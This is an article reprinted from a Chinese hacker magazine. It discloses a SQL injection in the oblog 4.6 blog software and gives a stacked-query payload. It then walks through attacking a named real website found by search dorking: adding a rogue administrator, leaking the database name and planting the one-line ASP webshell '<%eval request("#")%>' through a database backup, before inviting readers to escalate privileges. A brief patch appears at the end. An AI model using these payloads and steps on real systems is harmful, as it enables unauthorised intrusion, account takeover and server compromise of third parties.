惊爆oblog4.6 0day
此文章已发表在《黑客X档案》第11期杂志上
如需转载,请务必保留此信息!
作者:zj1244&竹子
自从上次oblog的tb.asp和js.asp文件出现漏洞后,直至今日oblog都没有爆出什么安全问题,前些日子官方发布了4.6稳定版,趁着无聊下下来看看代码的安全性,没想到还真的发现了一些问题。后来联系了oblog的客服,可是在qq上验证了几次人家也没有理我,没办法,那就只能发出来了。
我们先来简单分析一下漏洞的成因:漏洞出现在user_diggs.asp文件第304行左右,用Request获得topic的值,然后用oblog.InterceptStr处理后赋给topic。oblog.InterceptStr的作用只是截断字符而已,并没有过滤特殊字符。接着往下看,在第316行就直接把topic放到了SQL语句里进行了数据库操作,这样漏洞就形成了。4.6版的ACCESS和SQL 都存在这个问题,但是因为变量所在的SQL语句是update,所以我们并不能用union来联合暴出密码,唯一的方法就只有用“;”来执行多语句,而ACCESS并不支持多语句,因此漏洞只影响到SQL版本。
接下来是小菜们最关心的问题:怎么利用这个漏洞。我们先注册一个用户随便发篇日志,如图1。然后到自己的首页去推荐这篇日志,就是在图中 “推荐”处点击一下,如图2。接着回到用户管理后台,点击常用菜单里的“推荐日志”,就会看到刚才我们推荐的日志,我们把鼠标放到“修改”上,会看到推荐日志的id,这里的id是2,如图3。接着点击“修改”,在摘要里写入下面这个语句:
s'/**/WHERE/**/logid=2;update/**/oblog_user/**/set/**/useremail='竹子'/**/where/**/username='lovewin2k';–
如图4
这是一个简单的SQL语句,我对它稍做一些解释:其中的s’是为了和前面的’闭合。/**/是注释符,作用是用来代替空格。Logid=2中的2是刚才我们看到的日志id。然后用一个分号结束这一语句,接着是一个新的SQL语句,update/**/oblog_user/**/set/**/useremail='竹子'/**/where/**/username='lovewin2k';–的意思是把oblog_user表里username等于lovewin2k的useremail更改为竹子。单击“确认修改”后提示修改成功。我们去验证一下,看看自己个人资料里的邮箱是不是真的被改成了竹子,可以看到确实已经被更改成了竹子,如图5。
接下来我们在网上找个oblog实战一把,先说说如何查找4.6SQL版的oblog。我们先在百度里查找关键字“Copyright by oblog.cn”,然后随便打开一个blog,在主页后面添加ver.asp来查看版本,比如我在这里找的是http://www.zuliao365.com/blog,那就应该通过 http://www.zuliao365.com/blog/ver.asp来查看当前oblog的版本,如图6。如果是SQL版的那我们就可以打开利用工具,在目标主机里填写blog主页的地址,如: http://www.zuliao365.com/blog /index.html,点击“浏览”并用注册的用户登录以获得cookie。然后在用户名和密码里填写你要添加的管理员名字和密码,我这里添加一个用户名是竹子,密码是123456的管理员,日志id填写你自己所推荐日志的id。单击“发送”提示发送成功,如图7。我们访问后台http://www.zuliao365.com/blog/ admin/admin_login.asp,尝试用刚刚添加的管理员登录后台,果然成功登录,如图8。
我们当然不会仅仅满足于做个管理员,既然利用的版本是SQL的,那我们就直接用日志备份来获得webshell。单击后台里的“服务器组件配置”,如图9。在“站点物理地址”处可以看到网站的路径,记下来,等会备份的时候要把一句话木马备份到这里,这里是:e:\wwwroot\zuliao\wwwroot。接着在工具的下拉框里选择“更新库名到Email”,“注册用户名字”填写你在blog里注册的用户名字,单击“发送”,我们去个人资料里看看Email里的内容吧!选择“综合设置”中的“用户设置”看到库名已经被更新到了Email里了,我这里获得的库名是sq_zuliao,如图10。继续在工具的下拉框选择“备份数据库获得shell”,然后在库名和路径分别填写刚才我们获得的sq_zuliao和e:\wwwroot\zuliao\wwwroot \test.asp,test.asp是你自己一句话木马的文件名,单击“发送”,如图11。默认备份的一句话木马是海洋的<%eval request("#")%>,我们用海洋客户端连接 http://www.zuliao365.com /test.asp看看是否备份成功,可以看到我们已经成功获得了webshell,如图12。接下来该如何提升权限就看各位大显神通了。
关于如何修补漏洞的问题,把存在漏洞的语句
des = oblog.InterceptStr(RemoveHtml(Trim(Request("edit"))),255)
topic = oblog.InterceptStr(Trim(Request("topic")), 255)
替换成
des = oblog.filt_badstr (oblog.InterceptStr(RemoveHtml(Trim(Request("edit"))),255))
topic = oblog.filt_badstr (oblog.InterceptStr(Trim(Request("topic")), 255))
就可以了。
文章的最后,要感谢竹子同学在写作过程中给与本人的大力指导。